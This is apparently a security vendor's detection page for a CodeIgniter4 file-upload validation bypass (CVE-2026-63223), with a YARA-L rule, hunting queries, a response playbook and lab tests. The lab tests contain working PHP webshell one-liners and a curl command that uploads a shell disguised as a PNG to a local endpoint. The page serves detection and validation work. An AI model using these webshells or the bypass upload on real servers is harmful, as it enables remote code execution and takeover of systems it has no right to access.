CVE-2026-63223 Google Chronicle · YARA-L

Detect CVE-2026-63223: CodeIgniter4 File Upload Extension Validation Bypass (is_image / mime_in) in Google Chronicle

Detects exploitation of CVE-2026-63223, a critical (CVSS 9.8, CWE-434) unrestricted file upload vulnerability in the CodeIgniter4 framework (codeigniter4/framework < 4.7.4). The `is_image` and `mime_in` validation rules trust the client-supplied MIME type and file extension rather than authoritatively inspecting file content, allowing an attacker to bypass upload restrictions by crafting a request whose declared Content-Type/extension passes validation while the underlying content is executable (e.g. a PHP webshell disguised as an image). Successful exploitation typically results in webshell deployment and remote code execution. This detection surfaces suspicious uploads reaching CodeIgniter upload endpoints followed by writes of executable script files into web-accessible directories and subsequent execution.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral
rule codeigniter_upload_bypass_cve_2026_63223 {
  meta:
    author = "Argus"
    description = "CodeIgniter4 is_image/mime_in upload validation bypass leading to PHP webshell drop"
    cve = "CVE-2026-63223"
    severity = "CRITICAL"
  events:
    $web.metadata.event_type = "NETWORK_HTTP"
    $web.network.http.method = "POST"
    re.regex($web.target.url, `.*(upload|import|avatar|attachment).*`)
    $web.principal.hostname = $host

    $file.metadata.event_type = "FILE_CREATION"
    re.regex($file.target.file.full_path, `.*(\/public\/|\/writable\/uploads\/|\/var\/www\/).*\.(php|phtml|phar)$`)
    $file.principal.hostname = $host
  match:
    $host over 5m
  condition:
    $web and $file
}
critical severity medium confidence

YARA-L 2.0 rule correlating an upload-endpoint POST with PHP file creation in a web-accessible directory on the same host within 5 minutes.

Data Sources

Chronicle NETWORK_HTTP eventsChronicle FILE_CREATION events

Required Tables

udm.events

False Positives & Tuning

  • Legitimate PHP deployments to public/writable directories.
  • Framework update jobs writing new PHP sources.
  • Backup restoration writing PHP files.

Other platforms for CVE-2026-63223


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate is_image MIME bypass upload (Linux lab)

    Expected signal: Web access log POST to /upload with 200/302; file-create event for a .php/.png file in writable/uploads or public directory.

  2. Test 2Drop PHP file into public directory (Linux)

    Expected signal: FileCreated event for /var/www/html/public/upload_test.php by the web-server or shell user.

  3. Test 3Simulate double-extension upload artifact (Windows/IIS lab)

    Expected signal: Sysmon Event ID 11 (FileCreate) for avatar.php under the IIS writable uploads directory.


Response Playbook

Triage

  1. Identify the CodeIgniter application version on the affected host; confirm whether codeigniter4/framework is < 4.7.4 and thus vulnerable to CVE-2026-63223.
  2. Retrieve the raw upload request from web access logs and inspect the declared Content-Type and filename extension versus the actual written file content (magic bytes) to confirm an is_image/mime_in bypass.
  3. Examine the newly written file in the public/writable directory: check for PHP tags (<?php), eval/system/passthru calls, or webshell signatures.
  4. Correlate the source IP and User-Agent of the upload with other requests to determine reconnaissance or repeated bypass attempts.

Containment

  1. Immediately quarantine or delete the confirmed malicious uploaded file and revoke web access to the writable/public upload directory.
  2. Block the attacker source IP at the WAF/firewall and disable the affected upload endpoint until patched.
  3. Isolate the web host from the network if webshell execution (RCE) is confirmed.

Evidence Collection

  1. Preserve the full HTTP upload request/response, web access logs, and the malicious file (with hash) before deletion.
  2. Capture endpoint file-creation events, process-execution telemetry for the web server user, and any outbound connections initiated post-upload.

Escalation Criteria

  • !Escalate to incident response if the dropped file was executed (evidence of RCE, spawned shells, or outbound C2).
  • !Escalate if multiple hosts or additional CodeIgniter applications show the same upload-then-PHP-write pattern, indicating a campaign.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Newly created PHP/phtml files in public/ or writable/uploads/ directories with recent timestamps and web-server ownership.
  • >Web access log entries showing POST to upload endpoints with mismatched Content-Type vs. actual content.
  • >Web server process spawning shell interpreters (sh, bash, cmd.exe) shortly after the upload.

Tuning Guidance

Baseline legitimate PHP writes to public/writable directories by correlating with known deployment windows, CI/CD service accounts, and package-manager processes; exclude those service accounts and maintenance windows. Focus alerting on writes initiated by the web-server process account or immediately following an external upload POST, and raise severity when the written file contains PHP execution constructs.


Hunting Queries

Hunt for PHP script files created in CodeIgniter web-accessible directories, which should rarely change outside of deployments.

Hunting — KQL
kql
DeviceFileEvents | where FolderPath has_any ("/writable/uploads/", "/public/", "wwwroot") | where FileName endswith ".php" or FileName endswith ".phtml" or FileName endswith ".phar" | project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessAccountName | order by TimeGenerated desc
Hunting — SPL
spl
index=edr (sourcetype=sysmon EventCode=11) OR sourcetype=linux:auditd (TargetFilename="*/writable/uploads/*" OR TargetFilename="*/public/*") (TargetFilename="*.php" OR TargetFilename="*.phtml") | stats count by host, TargetFilename, User

Atomic Red Team Tests

Test 1 Simulate is_image MIME bypass upload (Linux lab)
linux

Uploads a PHP webshell to a CodeIgniter upload endpoint while declaring an image MIME type to bypass is_image/mime_in validation.

Command

bash
printf '<?php echo shell_exec($_GET["c"]); ?>' > /tmp/shell.php && curl -s -X POST -F 'file=@/tmp/shell.php;type=image/png;filename=avatar.png' http://localhost:8080/upload

Cleanup

bash
rm -f /tmp/shell.php; rm -f /var/www/html/writable/uploads/avatar.png /var/www/html/public/avatar.php

Expected Telemetry

Web access log POST to /upload with 200/302; file-create event for a .php/.png file in writable/uploads or public directory.

Expected Detection

Detection fires on the correlation of the upload POST and the PHP file write in a web-accessible directory.

Test 2 Drop PHP file into public directory (Linux)
linux

Simulates the post-bypass artifact by writing a PHP webshell directly into the CodeIgniter public directory.

Command

bash
mkdir -p /var/www/html/public && printf '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/public/upload_test.php

Cleanup

bash
rm -f /var/www/html/public/upload_test.php

Expected Telemetry

FileCreated event for /var/www/html/public/upload_test.php by the web-server or shell user.

Expected Detection

Detection surfaces PHP file creation in a web-accessible directory matching the CVE-2026-63223 artifact pattern.

Test 3 Simulate double-extension upload artifact (Windows/IIS lab)
windows

Writes a PHP file with an image-like double extension into an IIS-hosted CodeIgniter writable uploads path.

Command

powershell
New-Item -Path 'C:\inetpub\wwwroot\writable\uploads' -ItemType Directory -Force; Set-Content -Path 'C:\inetpub\wwwroot\writable\uploads\avatar.php' -Value '<?php echo shell_exec($_GET["c"]); ?>'

Cleanup

powershell
Remove-Item -Path 'C:\inetpub\wwwroot\writable\uploads\avatar.php' -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 (FileCreate) for avatar.php under the IIS writable uploads directory.

Expected Detection

Detection fires on PHP file creation in a web-accessible directory following the upload pattern.

Related Detections